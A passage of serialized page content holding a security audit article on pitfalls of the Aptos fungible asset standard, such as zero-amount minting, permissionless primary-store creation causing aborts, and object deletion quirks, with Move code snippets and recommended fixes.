zero",{"type":23,"tag":139,"props":60311,"children":60312},{"style":259},[60313],{"type":28,"value":3808},{"type":23,"tag":139,"props":60315,"children":60316},{"style":305},[60317],{"type":28,"value":3990},{"type":23,"tag":139,"props":60319,"children":60320},{"style":982},[60321],{"type":28,"value":2493},{"type":23,"tag":139,"props":60323,"children":60324},{"style":294},[60325],{"type":28,"value":3934},{"type":23,"tag":139,"props":60327,"children":60328},{"style":259},[60329],{"type":28,"value":5614},{"type":23,"tag":139,"props":60331,"children":60332},{"style":294},[60333],{"type":28,"value":60212},{"type":23,"tag":139,"props":60335,"children":60336},{"style":982},[60337],{"type":28,"value":2493},{"type":23,"tag":139,"props":60339,"children":60340},{"style":305},[60341],{"type":28,"value":59461},{"type":23,"tag":139,"props":60343,"children":60344},{"style":259},[60345],{"type":28,"value":3808},{"type":23,"tag":139,"props":60347,"children":60348},{"style":305},[60349],{"type":28,"value":3990},{"type":23,"tag":139,"props":60351,"children":60352},{"style":259},[60353],{"type":28,"value":6393},{"type":23,"tag":139,"props":60355,"children":60356},{"style":982},[60357],{"type":28,"value":2493},{"type":23,"tag":139,"props":60359,"children":60360},{"style":305},[60361],{"type":28,"value":59440},{"type":23,"tag":139,"props":60363,"children":60364},{"style":259},[60365],{"type":28,"value":1268},{"type":23,"tag":139,"props":60367,"children":60368},{"class":141,"line":196},[60369,60374],{"type":23,"tag":139,"props":60370,"children":60371},{"style":305},[60372],{"type":28,"value":60373},"    FungibleAsset",{"type":23,"tag":139,"props":60375,"children":60376},{"style":259},[60377],{"type":28,"value":1268},{"type":23,"tag":139,"props":60379,"children":60380},{"class":141,"line":205},[60381,60386,60390,60395,60399,60404,60408,60412],{"type":23,"tag":139,"props":60382,"children":60383},{"style":294},[60384],{"type":28,"value":60385},"        metadata",{"type":23,"tag":139,"props":60387,"children":60388},{"style":982},[60389],{"type":28,"value":2493},{"type":23,"tag":139,"props":60391,"children":60392},{"style":259},[60393],{"type":28,"value":60394}," object",{"type":23,"tag":139,"props":60396,"children":60397},{"style":982},[60398],{"type":28,"value":1461},{"type":23,"tag":139,"props":60400,"children":60401},{"style":245},[60402],{"type":28,"value":60403},"convert",{"type":23,"tag":139,"props":60405,"children":60406},{"style":259},[60407],{"type":28,"value":262},{"type":23,"tag":139,"props":60409,"children":60410},{"style":294},[60411],{"type":28,"value":60212},{"type":23,"tag":139,"props":60413,"children":60414},{"style":259},[60415],{"type":28,"value":4739},{"type":23,"tag":139,"props":60417,"children":60418},{"class":141,"line":214},[60419,60423,60427,60431],{"type":23,"tag":139,"props":60420,"children":60421},{"style":294},[60422],{"type":28,"value":5452},{"type":23,"tag":139,"props":60424,"children":60425},{"style":982},[60426],{"type":28,"value":2493},{"type":23,"tag":139,"props":60428,"children":60429},{"style":1016},[60430],{"type":28,"value":1019},{"type":23,"tag":139,"props":60432,"children":60433},{"style":259},[60434],{"type":28,"value":1488},{"type":23,"tag":139,"props":60436,"children":60437},{"class":141,"line":1320},[60438],{"type":23,"tag":139,"props":60439,"children":60440},{"style":259},[60441],{"type":28,"value":1335},{"type":23,"tag":139,"props":60443,"children":60444},{"class":141,"line":1329},[60445],{"type":23,"tag":139,"props":60446,"children":60447},{"style":259},[60448],{"type":28,"value":1897},{"type":23,"tag":24,"props":60450,"children":60451},{},[60452],{"type":28,"value":60453},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":23,"tag":24,"props":60455,"children":60456},{},[60457,60459,60464],{"type":28,"value":60458},"In practice, the ability to freely mint and burn zero ",{"type":23,"tag":135,"props":60460,"children":60462},{"className":60461},[],[60463],{"type":28,"value":59553},{"type":28,"value":60465}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":23,"tag":666,"props":60467,"children":60469},{"id":60468},"primary-and-secondary-stores",[60470],{"type":28,"value":60471},"Primary and secondary stores",{"type":23,"tag":24,"props":60473,"children":60474},{},[60475,60481,60483,60489,60491,60496],{"type":23,"tag":135,"props":60476,"children":60478},{"className":60477},[],[60479],{"type":28,"value":60480},"FungibleStores",{"type":28,"value":60482}," in comparison to ",{"type":23,"tag":135,"props":60484,"children":60486},{"className":60485},[],[60487],{"type":28,"value":60488},"CoinStores",{"type":28,"value":60490}," are not unique. Each user can have multiple ",{"type":23,"tag":135,"props":60492,"children":60494},{"className":60493},[],[60495],{"type":28,"value":59976},{"type":28,"value":60497}," objects for a given token!",{"type":23,"tag":24,"props":60499,"children":60500},{},[60501,60503,60510,60512,60517],{"type":28,"value":60502},"A primary fungible store is maintained via the aptly named ",{"type":23,"tag":64,"props":60504,"children":60507},{"href":60505,"rel":60506},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[68],[60508],{"type":28,"value":60509},"primary_fungible_store",{"type":28,"value":60511}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":23,"tag":135,"props":60513,"children":60515},{"className":60514},[],[60516],{"type":28,"value":59470},{"type":28,"value":60518}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":23,"tag":24,"props":60520,"children":60521},{},[60522],{"type":28,"value":60523},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":23,"tag":128,"props":60525,"children":60527},{"className":948,"code":60526,"language":947,"meta":7,"style":7},"public entry fun register(\n    user: &signer, [...]\n) acquires [...] {\n    [...]\n    let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n    [...]\n}\n",[60528],{"type":23,"tag":135,"props":60529,"children":60530},{"__ignoreMap":7},[60531,60556,60588,60611,60627,60681,60696],{"type":23,"tag":139,"props":60532,"children":60533},{"class":141,"line":142},[60534,60538,60543,60547,60552],{"type":23,"tag":139,"props":60535,"children":60536},{"style":294},[60537],{"type":28,"value":59575},{"type":23,"tag":139,"props":60539,"children":60540},{"style":294},[60541],{"type":28,"value":60542}," entry",{"type":23,"tag":139,"props":60544,"children":60545},{"style":294},[60546],{"type":28,"value":4210},{"type":23,"tag":139,"props":60548,"children":60549},{"style":245},[60550],{"type":28,"value":60551}," register",{"type":23,"tag":139,"props":60553,"children":60554},{"style":259},[60555],{"type":28,"value":1443},{"type":23,"tag":139,"props":60557,"children":60558},{"class":141,"line":151},[60559,60564,60568,60572,60576,60580,60584],{"type":23,"tag":139,"props":60560,"children":60561},{"style":294},[60562],{"type":28,"value":60563},"    user",{"type":23,"tag":139,"props":60565,"children":60566},{"style":982},[60567],{"type":28,"value":2493},{"type":23,"tag":139,"props":60569,"children":60570},{"style":982},[60571],{"type":28,"value":5144},{"type":23,"tag":139,"props":60573,"children":60574},{"style":294},[60575],{"type":28,"value":5149},{"type":23,"tag":139,"props":60577,"children":60578},{"style":259},[60579],{"type":28,"value":42031},{"type":23,"tag":139,"props":60581,"children":60582},{"style":982},[60583],{"type":28,"value":7599},{"type":23,"tag":139,"props":60585,"children":60586},{"style":259},[60587],{"type":28,"value":9783},{"type":23,"tag":139,"props":60589,"children":60590},{"class":141,"line":160},[60591,60595,60599,60603,60607],{"type":23,"tag":139,"props":60592,"children":60593},{"style":259},[60594],{"type":28,"value":1062},{"type":23,"tag":139,"props":60596,"children":60597},{"style":294},[60598],{"type":28,"value":4347},{"type":23,"tag":139,"props":60600,"children":60601},{"style":259},[60602],{"type":28,"value":21041},{"type":23,"tag":139,"props":60604,"children":60605},{"style":982},[60606],{"type":28,"value":7599},{"type":23,"tag":139,"props":60608,"children":60609},{"style":259},[60610],{"type":28,"value":59666},{"type":23,"tag":139,"props":60612,"children":60613},{"class":141,"line":169},[60614,60619,60623],{"type":23,"tag":139,"props":60615,"children":60616},{"style":259},[60617],{"type":28,"value":60618},"    [",{"type":23,"tag":139,"props":60620,"children":60621},{"style":982},[60622],{"type":28,"value":7599},{"type":23,"tag":139,"props":60624,"children":60625},{"style":259},[60626],{"type":28,"value":9783},{"type":23,"tag":139,"props":60628,"children":60629},{"class":141,"line":178},[60630,60634,60639,60643,60648,60652,60656,60660,60664,60668,60672,60677],{"type":23,"tag":139,"props":60631,"children":60632},{"style":279},[60633],{"type":28,"value":969},{"type":23,"tag":139,"props":60635,"children":60636},{"style":294},[60637],{"type":28,"value":60638}," wallet_store",{"type":23,"tag":139,"props":60640,"children":60641},{"style":982},[60642],{"type":28,"value":985},{"type":23,"tag":139,"props":60644,"children":60645},{"style":245},[60646],{"type":28,"value":60647}," create_primary_store",{"type":23,"tag":139,"props":60649,"children":60650},{"style":259},[60651],{"type":28,"value":5203},{"type":23,"tag":139,"props":60653,"children":60654},{"style":982},[60655],{"type":28,"value":1461},{"type":23,"tag":139,"props":60657,"children":60658},{"style":245},[60659],{"type":28,"value":5212},{"type":23,"tag":139,"props":60661,"children":60662},{"style":259},[60663],{"type":28,"value":262},{"type":23,"tag":139,"props":60665,"children":60666},{"style":294},[60667],{"type":28,"value":59761},{"type":23,"tag":139,"props":60669,"children":60670},{"style":259},[60671],{"type":28,"value":13189},{"type":23,"tag":139,"props":60673,"children":60674},{"style":245},[60675],{"type":28,"value":60676},"get_metadata",{"type":23,"tag":139,"props":60678,"children":60679},{"style":259},[60680],{"type":28,"value":13437},{"type":23,"tag":139,"props":60682,"children":60683},{"class":141,"line":187},[60684,60688,60692],{"type":23,"tag":139,"props":60685,"children":60686},{"style":259},[60687],{"type":28,"value":60618},{"type":23,"tag":139,"props":60689,"children":60690},{"style":982},[60691],{"type":28,"value":7599},{"type":23,"tag":139,"props":60693,"children":60694},{"style":259},[60695],{"type":28,"value":9783},{"type":23,"tag":139,"props":60697,"children":60698},{"class":141,"line":196},[60699],{"type":23,"tag":139,"props":60700,"children":60701},{"style":259},[60702],{"type":28,"value":1897},{"type":23,"tag":24,"props":60704,"children":60705},{},[60706,60707,60713,60715,60721],{"type":28,"value":14625},{"type":23,"tag":135,"props":60708,"children":60710},{"className":60709},[],[60711],{"type":28,"value":60712},"create_primary_store",{"type":28,"value":60714}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":23,"tag":135,"props":60716,"children":60718},{"className":60717},[],[60719],{"type":28,"value":60720},"ensure_primary_store_exists",{"type":28,"value":60722}," is recommended to avoid such issues.",{"type":23,"tag":41,"props":60724,"children":60726},{"id":60725},"fungible-assets-and-objects",[60727],{"type":28,"value":60728},"Fungible assets and objects",{"type":23,"tag":24,"props":60730,"children":60731},{},[60732,60734,60739,60741,60748],{"type":28,"value":60733},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":23,"tag":135,"props":60735,"children":60737},{"className":60736},[],[60738],{"type":28,"value":46748},{"type":28,"value":60740}," module, introduced in ",{"type":23,"tag":64,"props":60742,"children":60745},{"href":60743,"rel":60744},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[68],[60746],{"type":28,"value":60747},"AIP-10",{"type":28,"value":73},{"type":23,"tag":90,"props":60750,"children":60751},{},[60752],{"type":23,"tag":24,"props":60753,"children":60754},{},[60755,60759],{"type":23,"tag":139,"props":60756,"children":60757},{},[60758],{"type":28,"value":59350},{"type":28,"value":60760}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":23,"tag":24,"props":60762,"children":60763},{},[60764],{"type":28,"value":60765},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":23,"tag":666,"props":60767,"children":60769},{"id":60768},"creation-and-deletion",[60770],{"type":28,"value":60771},"Creation and deletion",{"type":23,"tag":24,"props":60773,"children":60774},{},[60775,60777,60783],{"type":28,"value":60776},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":23,"tag":135,"props":60778,"children":60780},{"className":60779},[],[60781],{"type":28,"value":60782},"fungible_asset::add_fungibility",{"type":28,"value":2493},{"type":23,"tag":128,"props":60785,"children":60787},{"className":948,"code":60786,"language":947,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[60788],{"type":23,"tag":135,"props":60789,"children":60790},{"__ignoreMap":7},[60791],{"type":23,"tag":139,"props":60792,"children":60793},{"class":141,"line":142},[60794,60798,60802,60806,60811,60815,60820,60824,60829,60834,60838,60842],{"type":23,"tag":139,"props":60795,"children":60796},{"style":245},[60797],{"type":28,"value":39876},{"type":23,"tag":139,"props":60799,"children":60800},{"style":259},[60801],{"type":28,"value":262},{"type":23,"tag":139,"props":60803,"children":60804},{"style":982},[60805],{"type":28,"value":18629},{"type":23,"tag":139,"props":60807,"children":60808},{"style":259},[60809],{"type":28,"value":60810},"object",{"type":23,"tag":139,"props":60812,"children":60813},{"style":982},[60814],{"type":28,"value":1461},{"type":23,"tag":139,"props":60816,"children":60817},{"style":245},[60818],{"type":28,"value":60819},"can_generate_delete_ref",{"type":23,"tag":139,"props":60821,"children":60822},{"style":259},[60823],{"type":28,"value":262},{"type":23,"tag":139,"props":60825,"children":60826},{"style":294},[60827],{"type":28,"value":60828},"constructor_ref",{"type":23,"tag":139,"props":60830,"children":60831},{"style":259},[60832],{"type":28,"value":60833},"), error",{"type":23,"tag":139,"props":60835,"children":60836},{"style":982},[60837],{"type":28,"value":1461},{"type":23,"tag":139,"props":60839,"children":60840},{"style":245},[60841],{"type":28,"value":60274},{"type":23,"tag":139,"props":60843,"children":60844},{"style":259},[60845],{"type":28,"value":60846},"(EOBJECT_IS_DELETABLE));\n",{"type":23,"tag":24,"props":60848,"children":60849},{},[60850,60852,60857,60859,60864,60865,60872],{"type":28,"value":60851},"This object serves as the foundation for ownership tokens in the form of a ",{"type":23,"tag":135,"props":60853,"children":60855},{"className":60854},[],[60856],{"type":28,"value":59411},{"type":28,"value":60858},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":23,"tag":135,"props":60860,"children":60862},{"className":60861},[],[60863],{"type":28,"value":60782},{"type":28,"value":471},{"type":23,"tag":64,"props":60866,"children":60869},{"href":60867,"rel":60868},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[68],[60870],{"type":28,"value":60871},"lacked this assert",{"type":28,"value":60873},", which we discovered and reported.",{"type":23,"tag":24,"props":60875,"children":60876},{},[60877,60882,60884,60889,60891,60896],{"type":23,"tag":135,"props":60878,"children":60880},{"className":60879},[],[60881],{"type":28,"value":60782},{"type":28,"value":60883}," transfers the ",{"type":23,"tag":135,"props":60885,"children":60887},{"className":60886},[],[60888],{"type":28,"value":59470},{"type":28,"value":60890}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":23,"tag":135,"props":60892,"children":60894},{"className":60893},[],[60895],{"type":28,"value":59411},{"type":28,"value":60897}," can be minted, representing a share of ownership in that object.",{"type":23,"tag":128,"props":60899,"children":60901},{"className":948,"code":60900,"language":947,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n    [...]\n): Object\u003CMetadata> {\n    [...]\n    move_to(metadata_object_signer,\n        Metadata {\n            name,\n            symbol,\n            decimals,\n            icon_uri,\n            project_uri,\n        }\n    );\n[...]\n}\n",[60902],{"type":23,"tag":135,"props":60903,"children":60904},{"__ignoreMap":7},[60905,60913,60933,60948,60975,60990,61011,61023,61035,61047,61059,61071,61083,61090,61097,61112],{"type":23,"tag":139,"props":60906,"children":60907},{"class":141,"line":142},[60908],{"type":23,"tag":139,"props":60909,"children":60910},{"style":958},[60911],{"type":28,"value":60912},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":23,"tag":139,"props":60914,"children":60915},{"class":141,"line":151},[60916,60920,60924,60929],{"type":23,"tag":139,"props":60917,"children":60918},{"style":294},[60919],{"type":28,"value":59575},{"type":23,"tag":139,"props":60921,"children":60922},{"style":294},[60923],{"type":28,"value":4210},{"type":23,"tag":139,"props":60925,"children":60926},{"style":245},[60927],{"type":28,"value":60928}," add_fungibility",{"type":23,"tag":139,"props":60930,"children":60931},{"style":259},[60932],{"type":28,"value":1443},{"type":23,"tag":139,"props":60934,"children":60935},{"class":141,"line":160},[60936,60940,60944],{"type":23,"tag":139,"props":60937,"children":60938},{"style":259},[60939],{"type":28,"value":60618},{"type":23,"tag":139,"props":60941,"children":60942},{"style":982},[60943],{"type":28,"value":7599},{"type":23,"tag":139,"props":60945,"children":60946},{"style":259},[60947],{"type":28,"value":9783},{"type":23,"tag":139,"props":60949,"children":60950},{"class":141,"line":169},[60951,60955,60959,60963,60967,60971],{"type":23,"tag":139,"props":60952,"children":60953},{"style":259},[60954],{"type":28,"value":1104},{"type":23,"tag":139,"props":60956,"children":60957},{"style":982},[60958],{"type":28,"value":2493},{"type":23,"tag":139,"props":60960,"children":60961},{"style":305},[60962],{"type":28,"value":59461},{"type":23,"tag":139,"props":60964,"children":60965},{"style":259},[60966],{"type":28,"value":3808},{"type":23,"tag":139,"props":60968,"children":60969},{"style":305},[60970],{"type":28,"value":59470},{"type":23,"tag":139,"props":60972,"children":60973},{"style":259},[60974],{"type":28,"value":5284},{"type":23,"tag":139,"props":60976,"children":60977},{"class":141,"line":178},[60978,60982,60986],{"type":23,"tag":139,"props":60979,"children":60980},{"style":259},[60981],{"type":28,"value":60618},{"type":23,"tag":139,"props":60983,"children":60984},{"style":982},[60985],{"type":28,"value":7599},{"type":23,"tag":139,"props":60987,"children":60988},{"style":259},[60989],{"type":28,"value":9783},{"type":23,"tag":139,"props":60991,"children":60992},{"class":141,"line":187},[60993,60998,61002,61007],{"type":23,"tag":139,"props":60994,"children":60995},{"style":245},[60996],{"type":28,"value":60997},"    move_to",{"type":23,"tag":139,"props":60999,"children":61000},{"style":259},[61001],{"type":28,"value":262},{"type":23,"tag":139,"props":61003,"children":61004},{"style":294},[61005],{"type":28,"value":61006},"metadata_object_signer",{"type":23,"tag":139,"props":61008,"children":61009},{"style":259},[61010],{"type":28,"value":1488},{"type":23,"tag":139,"props":61012,"children":61013},{"class":141,"line":196},[61014,61019],{"type":23,"tag":139,"props":61015,"children":61016},{"style":305},[61017],{"type":28,"value":61018},"        Metadata",{"type":23,"tag":139,"props":61020,"children":61021},{"style":259},[61022],{"type":28,"value":1268},{"type":23,"tag":139,"props":61024,"children":61025},{"class":141,"line":205},[61026,61031],{"type":23,"tag":139,"props":61027,"children":61028},{"style":294},[61029],{"type":28,"value":61030},"            name",{"type":23,"tag":139,"props":61032,"children":61033},{"style":259},[61034],{"type":28,"value":1488},{"type":23,"tag":139,"props":61036,"children":61037},{"class":141,"line":214},[61038,61043],{"type":23,"tag":139,"props":61039,"children":61040},{"style":294},[61041],{"type":28,"value":61042},"            symbol",{"type":23,"tag":139,"props":61044,"children":61045},{"style":259},[61046],{"type":28,"value":1488},{"type":23,"tag":139,"props":61048,"children":61049},{"class":141,"line":1320},[61050,61055],{"type":23,"tag":139,"props":61051,"children":61052},{"style":294},[61053],{"type":28,"value":61054},"            decimals",{"type":23,"tag":139,"props":61056,"children":61057},{"style":259},[61058],{"type":28,"value":1488},{"type":23,"tag":139,"props":61060,"children":61061},{"class":141,"line":1329},[61062,61067],{"type":23,"tag":139,"props":61063,"children":61064},{"style":294},[61065],{"type":28,"value":61066},"            icon_uri",{"type":23,"tag":139,"props":61068,"children":61069},{"style":259},[61070],{"type":28,"value":1488},{"type":23,"tag":139,"props":61072,"children":61073},{"class":141,"line":1580},[61074,61079],{"type":23,"tag":139,"props":61075,"children":61076},{"style":294},[61077],{"type":28,"value":61078},"            project_uri",{"type":23,"tag":139,"props":61080,"children":61081},{"style":259},[61082],{"type":28,"value":1488},{"type":23,"tag":139,"props":61084,"children":61085},{"class":141,"line":1597},[61086],{"type":23,"tag":139,"props":61087,"children":61088},{"style":259},[61089],{"type":28,"value":1326},{"type":23,"tag":139,"props":61091,"children":61092},{"class":141,"line":1614},[61093],{"type":23,"tag":139,"props":61094,"children":61095},{"style":259},[61096],{"type":28,"value":41550},{"type":23,"tag":139,"props":61098,"children":61099},{"class":141,"line":1627},[61100,61104,61108],{"type":23,"tag":139,"props":61101,"children":61102},{"style":259},[61103],{"type":28,"value":1723},{"type":23,"tag":139,"props":61105,"children":61106},{"style":982},[61107],{"type":28,"value":7599},{"type":23,"tag":139,"props":61109,"children":61110},{"style":259},[61111],{"type":28,"value":9783},{"type":23,"tag":139,"props":61113,"children":61114},{"class":141,"line":1636},[61115],{"type":23,"tag":139,"props":61116,"children":61117},{"style":259},[61118],{"type":28,"value":1897},{"type":23,"tag":16800,"props":61120,"children":61121},{},[],{"type":23,"tag":24,"props":61123,"children":61124},{},[61125,61127,61132,61134,61139],{"type":28,"value":61126},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":23,"tag":135,"props":61128,"children":61130},{"className":61129},[],[61131],{"type":28,"value":59976},{"type":28,"value":61133}," is also an object, and a \"secondary\" ",{"type":23,"tag":135,"props":61135,"children":61137},{"className":61136},[],[61138],{"type":28,"value":59976},{"type":28,"value":61140}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":23,"tag":128,"props":61142,"children":61144},{"className":948,"code":61143,"language":947,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[61145],{"type":23,"tag":135,"props":61146,"children":61147},{"__ignoreMap":7},[61148,61156,61198,61205,61213],{"type":23,"tag":139,"props":61149,"children":61150},{"class":141,"line":142},[61151],{"type":23,"tag":139,"props":61152,"children":61153},{"style":958},[61154],{"type":28,"value":61155},"//Fungible asset\n",{"type":23,"tag":139,"props":61157,"children":61158},{"class":141,"line":151},[61159,61163,61167,61172,61176,61181,61185,61189,61194],{"type":23,"tag":139,"props":61160,"children":61161},{"style":294},[61162],{"type":28,"value":59575},{"type":23,"tag":139,"props":61164,"children":61165},{"style":294},[61166],{"type":28,"value":4210},{"type":23,"tag":139,"props":61168,"children":61169},{"style":245},[61170],{"type":28,"value":61171}," remove_store",{"type":23,"tag":139,"props":61173,"children":61174},{"style":259},[61175],{"type":28,"value":262},{"type":23,"tag":139,"props":61177,"children":61178},{"style":294},[61179],{"type":28,"value":61180},"delete_ref",{"type":23,"tag":139,"props":61182,"children":61183},{"style":982},[61184],{"type":28,"value":2493},{"type":23,"tag":139,"props":61186,"children":61187},{"style":982},[61188],{"type":28,"value":5144},{"type":23,"tag":139,"props":61190,"children":61191},{"style":305},[61192],{"type":28,"value":61193},"DeleteRef",{"type":23,"tag":139,"props":61195,"children":61196},{"style":259},[61197],{"type":28,"value":273},{"type":23,"tag":139,"props":61199,"children":61200},{"class":141,"line":160},[61201],{"type":23,"tag":139,"props":61202,"children":61203},{"emptyLinePlaceholder":15},[61204],{"type":28,"value":184},{"type":23,"tag":139,"props":61206,"children":61207},{"class":141,"line":169},[61208],{"type":23,"tag":139,"props":61209,"children":61210},{"style":958},[61211],{"type":28,"value":61212},"//Object\n",{"type":23,"tag":139,"props":61214,"children":61215},{"class":141,"line":178},[61216,61220,61224,61229,61233,61238,61242,61247],{"type":23,"tag":139,"props":61217,"children":61218},{"style":294},[61219],{"type":28,"value":59575},{"type":23,"tag":139,"props":61221,"children":61222},{"style":294},[61223],{"type":28,"value":4210},{"type":23,"tag":139,"props":61225,"children":61226},{"style":245},[61227],{"type":28,"value":61228}," delete",{"type":23,"tag":139,"props":61230,"children":61231},{"style":259},[61232],{"type":28,"value":262},{"type":23,"tag":139,"props":61234,"children":61235},{"style":279},[61236],{"type":28,"value":61237},"ref",{"type":23,"tag":139,"props":61239,"children":61240},{"style":982},[61241],{"type":28,"value":2493},{"type":23,"tag":139,"props":61243,"children":61244},{"style":305},[61245],{"type":28,"value":61246}," DeleteRef",{"type":23,"tag":139,"props":61248,"children":61249},{"style":259},[61250],{"type":28,"value":273},{"type":23,"tag":24,"props":61252,"children":61253},{},[61254,61256,61262,61264,61269,61271,61276,61278,61283,61285,61291,61293,61299,61301,61306],{"type":28,"value":61255},"When ",{"type":23,"tag":135,"props":61257,"children":61259},{"className":61258},[],[61260],{"type":28,"value":61261},"object::delete",{"type":28,"value":61263}," removes the ",{"type":23,"tag":135,"props":61265,"children":61267},{"className":61266},[],[61268],{"type":28,"value":46748},{"type":28,"value":61270}," from a ",{"type":23,"tag":135,"props":61272,"children":61274},{"className":61273},[],[61275],{"type":28,"value":59976},{"type":28,"value":61277}," object, the ",{"type":23,"tag":135,"props":61279,"children":61281},{"className":61280},[],[61282],{"type":28,"value":59976},{"type":28,"value":61284}," resource becomes permanently undeletable. This is because ",{"type":23,"tag":135,"props":61286,"children":61288},{"className":61287},[],[61289],{"type":28,"value":61290},"remove_store",{"type":28,"value":61292}," can't create an ",{"type":23,"tag":135,"props":61294,"children":61296},{"className":61295},[],[61297],{"type":28,"value":61298},"Object\u003CFungibleStore>",{"type":28,"value":61300}," without an ",{"type":23,"tag":135,"props":61302,"children":61304},{"className":61303},[],[61305],{"type":28,"value":46748},{"type":28,"value":61307}," underneath, causing the operation to fail.",{"type":23,"tag":128,"props":61309,"children":61311},{"className":948,"code":61310,"language":947,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n    let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n    [...]\n}\n",[61312],{"type":23,"tag":135,"props":61313,"children":61314},{"__ignoreMap":7},[61315,61370,61422,61437],{"type":23,"tag":139,"props":61316,"children":61317},{"class":141,"line":142},[61318,61322,61326,61330,61334,61338,61342,61346,61350,61354,61358,61362,61366],{"type":23,"tag":139,"props":61319,"children":61320},{"style":294},[61321],{"type":28,"value":59575},{"type":23,"tag":139,"props":61323,"children":61324},{"style":294},[61325],{"type":28,"value":4210},{"type":23,"tag":139,"props":61327,"children":61328},{"style":245},[61329],{"type":28,"value":61171},{"type":23,"tag":139,"props":61331,"children":61332},{"style":259},[61333],{"type":28,"value":262},{"type":23,"tag":139,"props":61335,"children":61336},{"style":294},[61337],{"type":28,"value":61180},{"type":23,"tag":139,"props":61339,"children":61340},{"style":982},[61341],{"type":28,"value":2493},{"type":23,"tag":139,"props":61343,"children":61344},{"style":982},[61345],{"type":28,"value":5144},{"type":23,"tag":139,"props":61347,"children":61348},{"style":305},[61349],{"type":28,"value":61193},{"type":23,"tag":139,"props":61351,"children":61352},{"style":259},[61353],{"type":28,"value":1062},{"type":23,"tag":139,"props":61355,"children":61356},{"style":294},[61357],{"type":28,"value":4347},{"type":23,"tag":139,"props":61359,"children":61360},{"style":259},[61361],{"type":28,"value":21041},{"type":23,"tag":139,"props":61363,"children":61364},{"style":982},[61365],{"type":28,"value":7599},{"type":23,"tag":139,"props":61367,"children":61368},{"style":259},[61369],{"type":28,"value":59666},{"type":23,"tag":139,"props":61371,"children":61372},{"class":141,"line":151},[61373,61377,61381,61385,61389,61393,61397,61402,61406,61410,61414,61418],{"type":23,"tag":139,"props":61374,"children":61375},{"style":279},[61376],{"type":28,"value":969},{"type":23,"tag":139,"props":61378,"children":61379},{"style":294},[61380],{"type":28,"value":3833},{"type":23,"tag":139,"props":61382,"children":61383},{"style":982},[61384],{"type":28,"value":985},{"type":23,"tag":139,"props":61386,"children":61387},{"style":982},[61388],{"type":28,"value":5144},{"type":23,"tag":139,"props":61390,"children":61391},{"style":259},[61392],{"type":28,"value":60810},{"type":23,"tag":139,"props":61394,"children":61395},{"style":982},[61396],{"type":28,"value":1461},{"type":23,"tag":139,"props":61398,"children":61399},{"style":294},[61400],{"type":28,"value":61401},"object_from_delete_ref",{"type":23,"tag":139,"props":61403,"children":61404},{"style":259},[61405],{"type":28,"value":3808},{"type":23,"tag":139,"props":61407,"children":61408},{"style":305},[61409],{"type":28,"value":59976},{"type":23,"tag":139,"props":61411,"children":61412},{"style":259},[61413],{"type":28,"value":5614},{"type":23,"tag":139,"props":61415,"children":61416},{"style":294},[61417],{"type":28,"value":61180},{"type":23,"tag":139,"props":61419,"children":61420},{"style":259},[61421],{"type":28,"value":1820},{"type":23,"tag":139,"props":61423,"children":61424},{"class":141,"line":160},[61425,61429,61433],{"type":23,"tag":139,"props":61426,"children":61427},{"style":259},[61428],{"type":28,"value":60618},{"type":23,"tag":139,"props":61430,"children":61431},{"style":982},[61432],{"type":28,"value":7599},{"type":23,"tag":139,"props":61434,"children":61435},{"style":259},[61436],{"type":28,"value":9783},{"type":23,"tag":139,"props":61438,"children":61439},{"class":141,"line":169},[61440],{"type":23,"tag":139,"props":61441,"children":61442},{"style":259},[61443],{"type":28,"value":1897},{"type":23,"tag":24,"props":61445,"children":61446},{},[61447,61449,61454,61456,61462,61464,61469],{"type":28,"value":61448},"In addition, such \"deleted\" ",{"type":23,"tag":135,"props":61450,"children":61452},{"className":61451},[],[61453],{"type":28,"value":59976},{"type":28,"value":61455}," objects remain at least partially operable. For instance, ",{"type":23,"tag":135,"props":61457,"children":61459},{"className":61458},[],[61460],{"type":28,"value":61461},"fungible_asset::deposit",{"type":28,"value":61463}," does not check the ",{"type":23,"tag":135,"props":61465,"children":61467},{"className":61466},[],[61468],{"type":28,"value":46748},{"type":28,"value":61470}," existence.",{"type":23,"tag":666,"props":61472,"children":61474},{"id":61473},"ownership",[61475],{"type":28,"value":61476},"Ownership",{"type":23,"tag":24,"props":61478,"children":61479},{},[61480,61482,61487,61489,61495,61497,61502],{"type":28,"value":61481},"Each object has an owner. Fungible assets rely on the 